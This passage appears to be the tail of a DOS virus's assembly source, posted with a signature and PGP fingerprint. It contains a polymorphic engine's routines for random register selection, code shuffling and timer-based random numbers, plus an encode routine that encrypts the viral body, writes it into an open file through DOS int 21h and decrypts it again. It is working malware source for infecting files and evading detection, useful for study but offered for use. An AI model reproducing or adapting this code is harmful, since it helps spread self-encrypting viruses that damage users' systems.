  2453.                 cmp     al,_bx
  2454.                 je      got_ptr_reg
  2455.                 cmp     al,_bp
  2456.                 jb      get_ptr_regnext
  2457. got_ptr_reg:    retn
  2458.  
  2459. ;=====( return random register in AL )=======================================;
  2460.  
  2461. get_reg:        test    bp,11101111b            ; any registers free?
  2462.                 stc
  2463.                 jz      get_reg_exit
  2464. get_reg_loop:   mov     ax,7
  2465.                 call    random
  2466.                 push    ax
  2467.                 cbw
  2468.                 call    conv_num                ; convert to bit map
  2469.                 test    bp,ax                   ; is register free?
  2470.                 pushf
  2471.                 not     ax
  2472.                 and     bp,ax                   ; mark register
  2473.                 popf
  2474.                 pop     ax
  2475.                 jz      get_reg_loop
  2476. get_reg_exit:   retn
  2477.                 
  2478. ;=====( Restore register to pool )===========================================;
  2479.  
  2480. del_reg:        push    ax
  2481.                 cbw
  2482.                 call    conv_num                ; convert to bit number
  2483.                 or      bp,ax                   ; restore register
  2484.                 pop     ax
  2485.                 retn
  2486.  
  2487. ;=====( convert number to bit map )==========================================;
  2488.  
  2489. conv_num:       push    cx
  2490.                 mov     cl,al
  2491.                 mov     al,1
  2492.                 shl     al,cl
  2493.                 pop     cx
  2494.                 retn
  2495.  
  2496. ;=====( randomize order of BX/CX/DX/SI, then call )==========================;
  2497.  
  2498. order:          call    garble
  2499.                 mov     ax,2
  2500.                 call    random
  2501.                 xchg    cx,ax
  2502.                 inc     cx
  2503. order_loop:     call    boolean
  2504.                 jnz     order1
  2505.                 xchg    bx,ax
  2506. order1:         call    boolean
  2507.                 jnz     order2
  2508.                 xchg    dx,ax
  2509. order2:         call    boolean
  2510.                 jnz     order3
  2511.                 xchg    si,ax
  2512. order3:         loop    order_loop
  2513.                 push    si dx bx ax
  2514. order_ret:      retn
  2515.  
  2516. ;=====( return random number between 0 and ffff in bx )======================;
  2517.  
  2518. random_bx:      xchg    bx,ax
  2519.                 call    random
  2520.                 xchg    bx,ax
  2521.                 retn
  2522.  
  2523. ;=====( flip Sign bit )======================================================;
  2524.  
  2525. boolean:        push    ax
  2526.                 mov     ax,1
  2527.                 call    random
  2528.                 pop     ax
  2529.                 retn
  2530.  
  2531. ;=====( return random number between 0 and ffff )============================;
  2532.  
  2533. random_1:       mov     ax,-1
  2534.  
  2535. ;=====( Generate random number between 0 and AX )============================;
  2536.  
  2537. random:         push    ds bx cx dx ax
  2538.                 xor     ax,ax
  2539.                 int     1ah
  2540.                 push    cs
  2541.                 pop     ds
  2542.                 in      al,40h
  2543.                 xchg    cx,ax
  2544.                 xchg    dx,ax
  2545.                 mov     bx,offset ran_num
  2546.                 xor     ds:[bx],ax
  2547.                 rol     word ptr ds:[bx],cl
  2548.                 xor     cx,ds:[bx]
  2549.                 rol     ax,cl
  2550.                 xor     dx,ds:[bx]
  2551.                 ror     dx,cl
  2552.                 xor     ax,dx
  2553.                 imul    dx
  2554.                 xor     ax,dx
  2555.                 xor     ds:[bx],ax
  2556.                 pop     cx
  2557.                 xor     dx,dx
  2558.                 inc     cx
  2559.                 je      random_ret
  2560.                 div     cx
  2561.                 xchg    ax,dx
  2562. random_ret:     pop     dx cx bx ds
  2563.                 or      ax,ax
  2564.                 retn
  2565.                     
  2566. ran_num         dw      ?
  2567.  
  2568. ;=====( Encrypts the code/writes it/decrypts code )==========================;
  2569.  
  2570. encode:         mov     bx,ds:handle
  2571.                 mov     ax,0
  2572. key             =       word ptr $ - 2
  2573.                 mov     cx,(decrypt-v_start)/2
  2574.                 xor     di,di
  2575. encode_break:   clc
  2576.                 clc
  2577.                 clc
  2578.                 clc                     ; XCHG CX,AX XCHG CX,AX
  2579.                 clc
  2580.                 clc                     ; CLC ADD AX,xxxx / XOR [DI],AX
  2581.                 clc
  2582.                 clc                     ; XOR [DI],AX / CLC ADD AX,xxxx
  2583.                 inc     di
  2584.                 inc     di
  2585.                 loop    encode_break
  2586. encode_ret      =       byte ptr $    
  2587.                 mov     ah,40h
  2588.                 mov     cx,file_size
  2589.                 cwd
  2590.                 pushf
  2591.                 call    cs:int_21
  2592.                 jc      encode_flag
  2593.                 sub     ax,cx
  2594. encode_flag:    pushf
  2595.                 pop     bp
  2596.                 mov     word ptr ds:[si],0
  2597. encode_flip     =       word ptr $ - 2
  2598.                 mov     byte ptr ds:write_buff[encode_ret-encode],0c3h
  2599.                 jmp     encode
  2600. encode_end:
  2601.  
  2602.  
  2603. --
  2604.  
  2605. my faith my grief my fear my blood my trust my flesh my hate my love
  2606. no more no less no fear no need no height no depth too great godspeed
  2607. PGP 2.62 Fingerprint: 16 7B 2D 9B E9 51 48 C7 22 72 97 7A 6D E3 DE 57   :)
  2608.  
  2609.